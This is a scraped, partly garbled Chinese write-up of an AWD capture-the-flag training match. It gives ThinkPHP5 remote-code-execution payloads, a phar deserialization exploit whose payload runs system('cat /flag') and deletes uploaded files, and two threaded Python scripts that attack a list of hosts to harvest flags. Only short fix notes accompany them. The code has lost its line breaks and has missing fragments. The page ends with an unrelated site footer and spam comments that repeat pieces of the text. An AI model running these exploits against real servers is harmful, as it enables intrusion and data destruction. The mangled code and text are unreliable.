awd的批量脚本 pwn_星盟安全团队AWD训练赛
web1
这个题目我一共到了四个漏洞。
Thinkphp5rce1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
这个可以直接打,修复方案如下
在App.php的第75行加入一个正则的过滤,即可修复,
web1
这个题目我一共到了四个漏洞。
Thinkphp5rce1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
这个可以直接打,修复方案如下
在App.php
的第75行加入一个正则的过滤,即可修复,这个是官方的方法,因为thinkphp
我比较熟悉所以就直接按照官方的方法修复了。
thinkphp5rce2
s=cat /flag&_method=__ctruct&method=&filter[]=system
这个是通过post
方法进行传值,没有到官方的修复方案,但事实上上面那个修了以后这个也就修掉了,为了保险起见我还是做了个双保险。在Request.php
里面粗暴的修复了一下
反序列化1
链子还是很简单的,甚至没有链子,直接可以利用,就在入口文件index.php
中
然后这里简单的反序列化点在Index.php
中
修复方案,我是直接加了个正则进行替换,把所有字母替换成空,这里就没用了。但想想,这种方法还不如直接把代码删了。
批量利用脚本
import requestsimport refrom lxml import etreeimport timeimport threadingiptables = '''9.100.119.7:101809.100.119.7:10809.100.119.7:104809.100.119.7:105809.100.119.7:106809.100.119.7:107809.100.119.7:108809.100.119.7:109809.100.119.7:110809.100.119.7:111809.100.119.7:112809.100.119.7:11809.100.119.7:114809.100.119.7:115809.100.119.7:116809.100.119.7:117809.100.119.7:118809.100.119.7:119809.100.119.7:120809.100.119.7:121809.100.119.7:122809.100.119.7:12809.100.119.7:12480'''.split('\n')def find_flag(data): reg = "flag{(.*?)}" tmp = re.findall(reg, data) result = [] for i in tmp: i = 'flag{'+i+'}' return idef ip_log(flag): f = open('', 'a') f.write(flag + "\n") ()def attack(ip): url2 = "http://" + ip + "/?s=index/index/unse&a=Tzo0OiJDbJlIjoxOntzOjQ6ImRhdGEiOM6MjA6In5cRlbSgnY2F0IC9mbGFnJyk7Ijt9" respe = requests.get(url2) flag = find_flag() ip_log(flag) print(ip, ":", flag)for ip in iptables: t = threading.Thread(target=attack, args=(ip, )) t.start()
phar反序列化
这里有个上传功能,还有个文件读取功能,用脚趾头想想就知道是phar反序列化
修复方案我直接加了个过滤,把phar
协议给过滤掉了。
phar脚本
phpclass Core{
public $data; public function __ctruct(){
$this->data="system('cat /flag;rm rm /var/www/html/public/uploads/2020014/*');"; }}$obj = new Core();@unlink("yds.phar");$phar = new Phar("yds.phar");$phar->startBuffering();$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");$phar->setMetadata(new Core());$phar->addFromString("", "yds_is_so_beautiful");$phar->stopBuffering();rename('yds.phar', 'yds.gif');
批量脚本
import requestsimport refrom lxml import etreeimport timeimport threadingfrom requests import sessioniptables = '''9.100.119.7:101809.100.119.7:10809.100.119.7:104809.100.119.7:105809.100.119.7:106809.100.119.7:107809.100.119.7:108809.100.119.7:109809.100.119.7:110809.100.119.7:111809.100.119.7:112809.100.119.7:11809.100.119.7:114809.100.119.7:115809.100.119.7:116809.100.119.7:117809.100.119.7:118809.100.119.7:119809.100.119.7:120809.100.119.7:121809.100.119.7:122809.100.119.7:12809.100.119.7:12480'''.split('\n')def find_flag(data): reg = "flag{(.*?)}" tmp = re.findall(reg, data) result = [] for i in tmp: i = 'flag{'+i+'}' return idef ip_log(flag): f = open('', 'a') f.write(flag + "\n") ()def attack(ip): url1 = "http://"+ip+"/index.php/Index/index/upload" files = {
'image': open('yds.gif', 'rb')} s = session() respe = s.post(url1, files=files) url2 = "http://"+ip+"/?file=phar://uploads/" + .split('.gif')[0] + '.gif' respe2 = s.get(url2) flag = find_flag() ip_log(flag) print(ip, ":", flag)for ip in iptables: t = threading.Thread(target=attack, args=(ip, )) t.start()
#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格
上传时间: 2025-07-16 13:54:57
推荐阅读
留言与评论(共有 13 条评论) |
本站网友 截教教主 | 15分钟前 发表 |
111809.100.119.7 | |
本站网友 南通不孕不育 | 27分钟前 发表 |
121809.100.119.7 | |
本站网友 周边搜索 | 6分钟前 发表 |
因为thinkphp我比较熟悉所以就直接按照官方的方法修复了 | |
本站网友 泉港房产网 | 12分钟前 发表 |
116809.100.119.7 | |
本站网友 shsh | 10分钟前 发表 |
115809.100.119.7 | |
本站网友 大石租房 | 18分钟前 发表 |
"yds_is_so_beautiful");$phar->stopBuffering();rename('yds.phar' | |
本站网友 衡桂高速 | 7分钟前 发表 |
"yds_is_so_beautiful");$phar->stopBuffering();rename('yds.phar' | |
本站网友 亚硝胺 | 14分钟前 发表 |
修复方案如下 在App.php的第75行加入一个正则的过滤 | |
本站网友 短信广告 | 15分钟前 发表 |
即可修复 | |
本站网友 杭州影院 | 29分钟前 发表 |
" | |
本站网友 朝鲜语输入法下载 | 15分钟前 发表 |
这里就没用了 | |
本站网友 微博私信群发 | 3分钟前 发表 |
118809.100.119.7 |